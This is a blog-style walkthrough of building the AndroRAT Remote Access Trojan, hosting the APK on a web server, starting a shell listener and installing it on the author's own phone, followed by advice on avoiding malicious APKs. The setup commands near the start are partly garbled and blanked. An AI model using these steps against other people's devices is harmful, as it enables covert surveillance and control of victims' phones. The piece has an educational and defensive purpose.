How attackers gain remote access using AndroRAT

This article is strictly for educational purposes and security research. The techniques shown should only be used in authorized testing environments. Unauthorized use of these methods is illegal and unethical. All demonstrations are performed in controlled lab environments using dedicated testing devices.

Introduction

Android applications can provide useful functionality, but the same application ecosystem can also be abused by attackers.

One example is a Remote Access Trojan (RAT).

A RAT is malicious software that attempts to give an operator remote access to a compromised device. Depending on its capabilities and the permissions available to it, a RAT may allow an attacker to collect information about the device, interact with the operating system, or perform other unauthorized actions.

For this research, I used AndroRAT, an open-source Android client/server project available on GitHub.

The project describes itself as a tool for remotely controlling an Android device and retrieving information from it. Its Android component is written in Java, while the server-side tooling uses Python.

The resipiratory link:https://github.com/karma9874/AndroRAT

How to install and configure for remote access:

git clone https://github.com/karma9874/AndroRAT.git cd AndroRAT pip install -r requirements.txt

Create a virtual enviroment and activate it

Create the apk:

using the command

python androfat.py — build -i -p -o .apk

and copy the apk on var/www/html to start a web sever

sudo systemctl restart apache2 -

then

check the status whether it is running.

Start a listener :

python androFat.py — shell — 0.0.0.0 -p 444

I used my phone Huawei nova 9a for demonstration.

The chrome tab was opened using the following address :

/.apk

The apk was downloaded while there are warnings detected it a as malicous app as malware.

After the installing .The apk was opened.This will allow remote communication to be established.

Boom shell was gained :

The command deviceinfo was used as a proof for the exploitation

it returned the phone model.

Why the Warning Matters

The warning displayed by my phone was not random.

Android includes multiple security mechanisms intended to reduce the likelihood and impact of malicious applications.

Android's security architecture includes application sandboxing and user-granted permissions that restrict access to system features and user data.

Google's Play Integrity documentation also describes Play Protect verdicts that can identify potentially harmful or dangerous applications installed on a device.

Therefore, when Android says that an APK may be harmful, users should not assume that the warning is simply preventing them from installing an "unknown" application.

It can represent an important indication that the application deserves investigation before execution.

How to Protect Yourself

The experiment also provides several practical defensive lessons.

1. Do not install suspicious APK files

If an APK comes from an unknown website, message, email or social-media conversation, treat it with suspicion.

Especially if someone tells you:

"Ignore the warning and install it anyway."

That is a major red flag.

2. Keep Google Play Protect enabled

Play Protect can identify potentially harmful applications.Google documents Play Protect verdicts ranging from no detected issues to potentially harmful and dangerous applications.Do not disable security scanning simply because an application refuses to install.

3. Avoid unnecessary sideloading

Sideloading applications from outside trusted distribution channels increases the opportunity for malicious APKs to reach your device.

Google's current Android security documentation describes additional protections around sideloading in Advanced Protection Mode, including blocking installation from unknown sources.

For ordinary users, the simplest rule is:

If you don't know where an APK came from, don't install it.

4. Pay attention to permissions

An application that claims to be a calculator but requests access that makes no sense for its purpose should immediately raise questions.

Permissions should match the application's legitimate functionality.

5. Keep Android and applications updated

Security vulnerabilities are continuously discovered and patched.

Keeping the operating system and applications updated reduces exposure to known vulnerabilities.

6. Treat security warnings as security signals

This was probably the biggest lesson from my experiment.

My phone warned me multiple times.

The warning was effectively saying:

Something about this application is unsafe.

In a real-world situation, the correct response would be to stop.

7. Use application integrity mechanisms where appropriate

For Android developers, Google's Play Integrity API can help applications determine whether requests are coming from recognized application binaries and trustworthy environments.

This does not replace other security controls, but it can provide another layer of protection against tampered or unrecognized application environments.

16. Final Thoughts

This experiment changed the way I think about Android malware.

Before conducting the experiment, it was easy to look at a RAT as simply a program that provides a remote shell.

After walking through the complete process, the bigger picture became clearer.

The attack depends on a chain:

Delivery → installation → execution → communication → remote interaction.

Breaking any important link in that chain can prevent the compromise.

In my experiment, the phone itself provided several warnings. The experiment succeeded only because I deliberately continued past those warnings on my own device.

That is precisely why users should never casually dismiss Android security warnings.

A malicious APK does not necessarily need a sophisticated zero-day exploit to become dangerous.

Sometimes the attacker simply needs the victim to download an APK, trust it, install it and grant it the opportunity to run.

For security researchers, reproducing this behavior in an isolated and authorized laboratory environment provides a valuable way to understand what defenders are trying to stop.

For ordinary Android users, the lesson is much simpler:

Do not install software you do not trust.

Do not bypass malware warnings just because an APK is convenient.

Keep your device and security protections up to date.

And most importantly, remember that cybersecurity is not only about stopping sophisticated exploits.

Sometimes the first line of defense is recognizing that an application should never have been installed in the first place.